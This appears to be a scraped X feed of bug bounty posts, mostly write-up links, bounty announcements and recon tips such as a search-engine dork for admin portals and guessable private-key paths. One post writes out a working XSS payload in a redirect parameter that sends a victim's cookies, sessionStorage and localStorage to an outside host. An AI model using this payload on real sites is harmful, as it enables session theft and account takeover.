SIDDHANT SHUKLA

Bug Hunter.
Jai Shree Ram 🪷🕉️

[SIDDHANT SHUKLA @ghost__man01]

Happy to be listed on @Flipkart Hall of Fame. Write-up will be👇
https://t.co/6LOZ4nGsCp
https://t.co/57QVuuUovb
#bugbountytips #bugbountytip #BugBounty #BugHunter #appsec #vapt #pentesting #cybersecurity #cybersecurityresearcher #securityresearcher #hacking #PenetrationTesting

[TheHatedOne @3ugman]

No Username. No Password. Just a Header — A $3,000 Authentication Bypass by ALR https://t.co/lDxNxy5DkW
Credits : @00xalr nice finding brother🥳

[RivuDon @RivekTamang]

New writeup up, do have a read folks ✨

https://t.co/5QtGq2uAba

@InfoSecComm

#bugbounty #bugbountytips #infosec

[BBWriteup @bbwriteup]

"SAML Username Collision Leading to Full ATO" by M0n3m

#InfoSec #CyberSecurity #Hacking #Vulnerability

https://t.co/cJKNtodPF8

[termireum @termireum]

I Found a Critical Vulnerability They Paid Me $15,500
https://t.co/sXKZbsI5eU

[Corben Leo @hacker_]

I hacked a car company.

Here's how I gained access to hundreds of their codebases.

[Faiyaz Ahmad @thehacktivator]

Many bug bounty hunters find an IDOR and stop testing as soon as they see a 403 Forbidden response. But what if that 403 isn't the end of the story?

One of the biggest lessons I've learned over the years is that access control testing is rarely as straightforward as changing an ID and checking the response.

Sometimes the most interesting findings appear when you start asking questions like:

• Is the authorization check happening in the right place?

• Is the application trusting something it shouldn't?

• Are there alternative ways to access the same resource?

• What assumptions did the developer make?

In my latest video, I demonstrate a practical technique that can help uncover authorization weaknesses that many testers overlook. Rather than focusing on theory, I walk through the entire process step-by-step in a controlled lab environment so you can understand the methodology behind it.

If you're interested in bug bounty hunting, penetration testing, or web application security, I think you'll find this one useful.

Watch here: https://t.co/3Q7NIOQPpj

[Muhammad Saqib Arif 🇵🇰 @saqibarif98]

Account Takeover using SSO Logins by Rikesh Baniya https://t.co/VIAUwgLwpS

[SIDDHANT SHUKLA @ghost__man01]

@nothing @nothingindia @getpeid, there is a login issue on nothing phone 3a, I am getting logged out after 2 minutes of signing in with a Nothing account in Setting that causes logout of @essential space causing less productivity. This issue resides more than 4 months ago.

[Koupon @Shabosec]

I’m in love with Next.js 🔥
Tips: I found the admin portal using Yandex dork: Rhost:*.target.*

Then I look up the js which they use Next.js look into main,chunk and search for api endpoint which I found /v2/admin/dashboard/Contacts

also you can use @badcracker api extension

[Hamed Elnwasani @0xhamdoon]

Two useful writeups I recently published:
1. Zero-Click ATO via Self-Stored XSS + WAF Bypass + IDOR
🔗https://t.co/uer6ZK7VnE

2. Chained Two Logic Flaws to Break a Ticketing System
🔗https://t.co/2DSAaufeMj

Enjoy reading, and happy hacking
#bugbounty #cybersecurity

[MJ_The_DJ🇮🇷 @MiniMjStar]

https://t.co/B1KpDcVUXF
https://t.co/JuC7iXhhD7
https://t.co/XRYfuAuBmP
@xandsz__ very good ones, about the subs discovery on bbp programs,do u just do dorking and fuzzing? cause i've found couple on bmw(which they doesnt pay but i did ATO as well) idk why i can't find on others

[Preben @prebenve]

Found a cool bug at Meta.

From misconfigured Grafana instance to R/W access on 507 private Meta repositories.

Wrote up the full chain here:
https://t.co/LYQ0prc68d

$157k bounty awarded by @metabugbounty

[Nagli @galnagli]

Introducing my Bug Bounty Masterclass. 100% free.

I've made $2,000,000+ finding security bugs. I spent the last year turning my methodology into a complete blueprint.

4 hours of video - foundations, reconnaissance, web proxies, hands-on challenges, and certification.

Finish it in a weekend and start hacking real-world applications 🐞

[Gokul SK @GokTest]

Sometimes finding private keys are as simple as example(.)com/private.key ..!
.
.
#bugbounty #hackerone #bugbountytips #bugcrowd #hack #pentest #TogetherWeHitHarder

[João Gomes (zig_shark) @JoaoGomes12243]

/login?redirectUrl=javascript:fetch('https://t.co/sgFFzZHc4q 0{method:'POST',%20body:JSON.stringify({cookies:document.cookie,sessionStorage:sessionStorage,localStorage:localStorage})})

[Secuaudit @Secuaudit]

Nice Free tool to keep in your bug bounty arsenal: https://t.co/fH8nxKzeCP
You never know when a forgotten blind XSS payload will suddenly come back with an email notification. 💰🎯

#BugBounty #Bugbountytips #BlindXSS #XSS #SecurityResearch #CyberSecurity #EthicalHacking #AppSec #InfoSec #BugHunter #HackerOne #YesWeHack #Intigriti

[Bug bounty wizard @bugbountywizard]

How I Chained Three Small Bugs to Cancel Anyone's Car Booking by Atharv Chawna https://t.co/WqFQFld6f2 #bugbounty #bugbountytips #bugbountytip

[Suresh Aydi (xploiterr) @_xploiterr]

A Simple Edit That Paid $800: Tampering Developer Application Information #bugbounty
https://t.co/8cEzcT7RhJ

[Bug bounty wizard @bugbountywizard]

Chaining Bugs: From Unauthenticated PII Disclosure to Mass Account Takeover in a Major E-Commerce by Alareqi https://t.co/lhWs6SyF7u #bugbounty #bugbountytips #bugbountytip

[Bug bounty wizard @bugbountywizard]

From Failure to $32,000: My Bug Bounty Journey by Infosec Writeups https://t.co/hfU1Q7HgWu #bugbounty #bugbountytips #bugbountytip #infosec #BugBounty